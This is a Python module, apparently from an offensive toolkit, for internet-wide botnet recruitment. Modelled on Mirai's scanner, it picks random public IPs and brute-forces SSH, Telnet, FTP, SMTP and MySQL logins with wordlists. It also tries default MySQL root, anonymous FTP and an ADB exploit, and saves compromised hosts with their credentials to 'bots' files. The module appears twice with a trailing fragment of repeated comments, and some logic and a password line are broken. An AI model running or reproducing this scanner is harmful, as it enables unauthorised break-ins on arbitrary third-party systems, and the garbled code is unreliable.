<gh_stars>0
import os,sys,socket,random,time,threading,smtplib,xtelnet
from bane.payloads import *
from bane.vulns import adb_exploit,exposed_telnet
from ftplib import FTP
linux=True
if os.path.isdir('/data/data')==True:
    adr=True
if os.path.isdir('/data/data/com.termux/')==True:
    termux=True
wido=False
if (sys.platform == "win32") or( sys.platform == "win64"):
 wido=True
try:
    import pexpect
except:
    pass
import mysql.connector as mconn
from bane.bruteforcer import *
from bane.extrafun import create_file,write_file
def getip():
 '''
   this function was inspired by the scanning file in mirai's source code to returns a safe IP to bruteforce.
'''
 d=[3,6,7,10,11,15,16,21,22,23,26,28,29,30,33,55,56,127,214,215]
 f=[100,169,172,198]
 while True:
  o1=random.randint(1,253)
  o2=random.randint(0,254)
  if (o1 not in d):
   if o1 in f:
    if ((o1==192)and(o2!=168)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if ((o2==172)and((o2<=16)and(o2>=32))):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==100)and(o2!=64)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==169)and (o2!=254)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==198)and(o2!=18)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
   else:
    return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
'''
  the following functions are used to scan safe IPs all over the internet with a wordlist, it can scan bruteforce their: ftp, ssh, telnet, smtp and mysql logins then save them on text files in the same directory.
  it's highly recommended to be used with a VPS or your slow internet speed will be an obstacle to your scan.
'''
__port=None
__ehlo=True
__helo=False
__ttls=False
class iots(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     if stop==True:
         break
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if wido==True:
       q=ssh_win(ip,username,password,timeout=self.timeout,p=self.port)
      elif termux==True:
       q=ssh_andro(ip,username,password,timeout=self.timeout,p=self.port)
      else:
       q=ssh_linux(ip,username,password,timeout=self.timeout,p=self.port)
      if q==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ssh(threads=100,word_list=wordlist,filename='ssh_bots.txt',ip_range=None,timeout=5,p=22):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iots().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iott(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    if exposed_telnet(ip,timeout=self.timeout,p=self.port)==True:
        ip+='::'
        print (ip)
        write_file(ip,filen)
    else:
     for x in wordlist:
      try:
       username=x.split(':')[0]
       password=x.split(':')[1]
       q= telnet(ip,username,password,timeout=self.timeout,p=self.port)
       if q==True:
        ip+=':'+username+':'+password
        print (ip)
        write_file(ip,filen)
        break
      except Exception as e: 
       pass
  self.ip_seg=None
  self.timeout=None
def mass_telnet(threads=500,word_list=wordlist,filename='telnet_bots.txt',ip_range=None,timeout=5,p=23):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iott().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotelt(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      q= exposed_telnet(ip,timeout=self.timeout,p=self.port)
      if q==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_exposed_telnet(threads=500,filename='exposed_telnet_bots.txt',ip_range=None,timeout=5,p=23):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotelt().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotf1(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,21))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if ftp(ip,username,password,timeout=self.timeout)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ftp(threads=100,meth=1,word_list=wordlist,filename='ftp_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotf1().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotf2(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,21))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      if ftp_anon(ip,timeout=self.timeout)==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ftp_anon(threads=100,filename='ftp_anon_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 thr=[]
 for x in range(threads):
  try:
   t=iotf2().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotsm(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  self.ehlo=__ehlo
  self.helo=__helo
  self.ttls=__ttls
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,25))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=<PASSWORD>(':')[1]
      if smtp(ip,username,password,p=self.port,ehlo=self.ehlo,helo=self.helo,ttls=self.ttls)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_smtp(o,threads=100,word_list=wordlist,filename='smtp_bots.txt',ip_range=None,timeout=5,p=25,ehlo=True,helo=False,ttls=False):
 global ip_seg
 ip_seg=ip_range
 global __ehlo
 __ehlo=ehlo
 global __helo
 __helo=helo
 global __ttls
 __ttls=ttls
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global octet
 octet=o
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotsm().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotmy(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,3306))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if mysql(ip,username,password)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_mysql(threads=100,word_list=wordlist,filename='mysql_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotmy().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotmy2(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,3306))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      if mysql(ip,'root','')==True:
       ip+=':root:'
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_mysql_default(threads=100,word_list=wordlist,filename='mysql_default_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotmy2().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotadb(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,5555))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      q=adb_exploit(ip,timeout=self.timeout)
      if q==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_adb(threads=100,word_list=wordlist,filename='adb_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotadb().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x

import os,sys,socket,random,time,threading,smtplib,xtelnet
from bane.payloads import *
from bane.vulns import adb_exploit,exposed_telnet
from ftplib import FTP
linux=True
if os.path.isdir('/data/data')==True:
    adr=True
if os.path.isdir('/data/data/com.termux/')==True:
    termux=True
wido=False
if (sys.platform == "win32") or( sys.platform == "win64"):
 wido=True
try:
    import pexpect
except:
    pass
import mysql.connector as mconn
from bane.bruteforcer import *
from bane.extrafun import create_file,write_file
def getip():
 '''
   this function was inspired by the scanning file in mirai's source code to returns a safe IP to bruteforce.
'''
 d=[3,6,7,10,11,15,16,21,22,23,26,28,29,30,33,55,56,127,214,215]
 f=[100,169,172,198]
 while True:
  o1=random.randint(1,253)
  o2=random.randint(0,254)
  if (o1 not in d):
   if o1 in f:
    if ((o1==192)and(o2!=168)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if ((o2==172)and((o2<=16)and(o2>=32))):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==100)and(o2!=64)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==169)and (o2!=254)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
    if((o1==198)and(o2!=18)):
     return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
   else:
    return '{}.{}.{}.{}'.format(o1,o2,random.randint(0,255),random.randint(0,255))
'''
  the following functions are used to scan safe IPs all over the internet with a wordlist, it can scan bruteforce their: ftp, ssh, telnet, smtp and mysql logins then save them on text files in the same directory.
  it's highly recommended to be used with a VPS or your slow internet speed will be an obstacle to your scan.
'''
__port=None
__ehlo=True
__helo=False
__ttls=False
class iots(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     if stop==True:
         break
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if wido==True:
       q=ssh_win(ip,username,password,timeout=self.timeout,p=self.port)
      elif termux==True:
       q=ssh_andro(ip,username,password,timeout=self.timeout,p=self.port)
      else:
       q=ssh_linux(ip,username,password,timeout=self.timeout,p=self.port)
      if q==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ssh(threads=100,word_list=wordlist,filename='ssh_bots.txt',ip_range=None,timeout=5,p=22):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iots().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iott(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    if exposed_telnet(ip,timeout=self.timeout,p=self.port)==True:
        ip+='::'
        print (ip)
        write_file(ip,filen)
    else:
     for x in wordlist:
      try:
       username=x.split(':')[0]
       password=x.split(':')[1]
       q= telnet(ip,username,password,timeout=self.timeout,p=self.port)
       if q==True:
        ip+=':'+username+':'+password
        print (ip)
        write_file(ip,filen)
        break
      except Exception as e: 
       pass
  self.ip_seg=None
  self.timeout=None
def mass_telnet(threads=500,word_list=wordlist,filename='telnet_bots.txt',ip_range=None,timeout=5,p=23):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iott().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotelt(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,self.port))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      q= exposed_telnet(ip,timeout=self.timeout,p=self.port)
      if q==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_exposed_telnet(threads=500,filename='exposed_telnet_bots.txt',ip_range=None,timeout=5,p=23):
 global stop
 stop=False
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global ip_seg
 ip_seg=ip_range
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotelt().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotf1(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,21))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if ftp(ip,username,password,timeout=self.timeout)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ftp(threads=100,meth=1,word_list=wordlist,filename='ftp_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotf1().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotf2(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,21))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      if ftp_anon(ip,timeout=self.timeout)==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_ftp_anon(threads=100,filename='ftp_anon_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 thr=[]
 for x in range(threads):
  try:
   t=iotf2().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotsm(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  self.port=__port
  self.ehlo=__ehlo
  self.helo=__helo
  self.ttls=__ttls
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,25))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=<PASSWORD>(':')[1]
      if smtp(ip,username,password,p=self.port,ehlo=self.ehlo,helo=self.helo,ttls=self.ttls)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_smtp(o,threads=100,word_list=wordlist,filename='smtp_bots.txt',ip_range=None,timeout=5,p=25,ehlo=True,helo=False,ttls=False):
 global ip_seg
 ip_seg=ip_range
 global __ehlo
 __ehlo=ehlo
 global __helo
 __helo=helo
 global __ttls
 __ttls=ttls
 global __port
 __port=p
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global octet
 octet=o
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotsm().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotmy(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,3306))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
    for x in wordlist:
     try:
      username=x.split(':')[0]
      password=x.split(':')[1]
      if mysql(ip,username,password)==True:
       ip+=':'+username+':'+password
       print (ip)
       write_file(ip,filen)
       break
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_mysql(threads=100,word_list=wordlist,filename='mysql_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotmy().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotmy2(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,3306))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      if mysql(ip,'root','')==True:
       ip+=':root:'
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_mysql_default(threads=100,word_list=wordlist,filename='mysql_default_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotmy2().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
class iotadb(threading.Thread):
 def run(self):
  self.ip_seg=ip_seg
  self.timeout=_timeout
  time.sleep(2)
  while (stop!=True):
   if self.ip_seg==None:
     ip=getip()
   else:
     ip=self.ip_seg.format(random.randint(0,255),random.randint(0,255),random.randint(0,255),random.randint(0,255))
   i=False
   try:
    so=socket.socket()
    so.settimeout(self.timeout)
    so.connect((ip,5555))
    i=True
    so.close()
   except Exception as ex: 
    pass
   if i==True:
     try:
      q=adb_exploit(ip,timeout=self.timeout)
      if q==True:
       print (ip)
       write_file(ip,filen)
     except Exception as e: 
      pass
  self.ip_seg=None
  self.timeout=None
def mass_adb(threads=100,word_list=wordlist,filename='adb_bots.txt',ip_range=None,timeout=5):
 global ip_seg
 ip_seg=ip_range
 global _timeout
 _timeout=timeout
 global stop
 stop=False
 create_file(filename)
 global filen
 filen=filename
 global wordlist
 wordlist=word_list
 thr=[]
 for x in range(threads):
  try:
   t=iotadb().start()
   thr.append(t)
   time.sleep(0.001)
  except:
   pass
 while (stop!=True):
  try:
    time.sleep(.1)
  except KeyboardInterrupt:
    stop=True
    break
 for x in thr:
    try:
      x.join(1)
    except Exception as e:
      pass
    del x
this function was inspired by the scanning file in mirai's source code to returns a safe IP to bruteforce. the following functions are used to scan safe IPs all over the internet with a wordlist, it can scan bruteforce their: ftp, ssh, telnet, smtp and mysql logins then save them on text files in the same directory.   it's highly recommended to be used with a VPS or your slow internet speed will be an obstacle to your scan.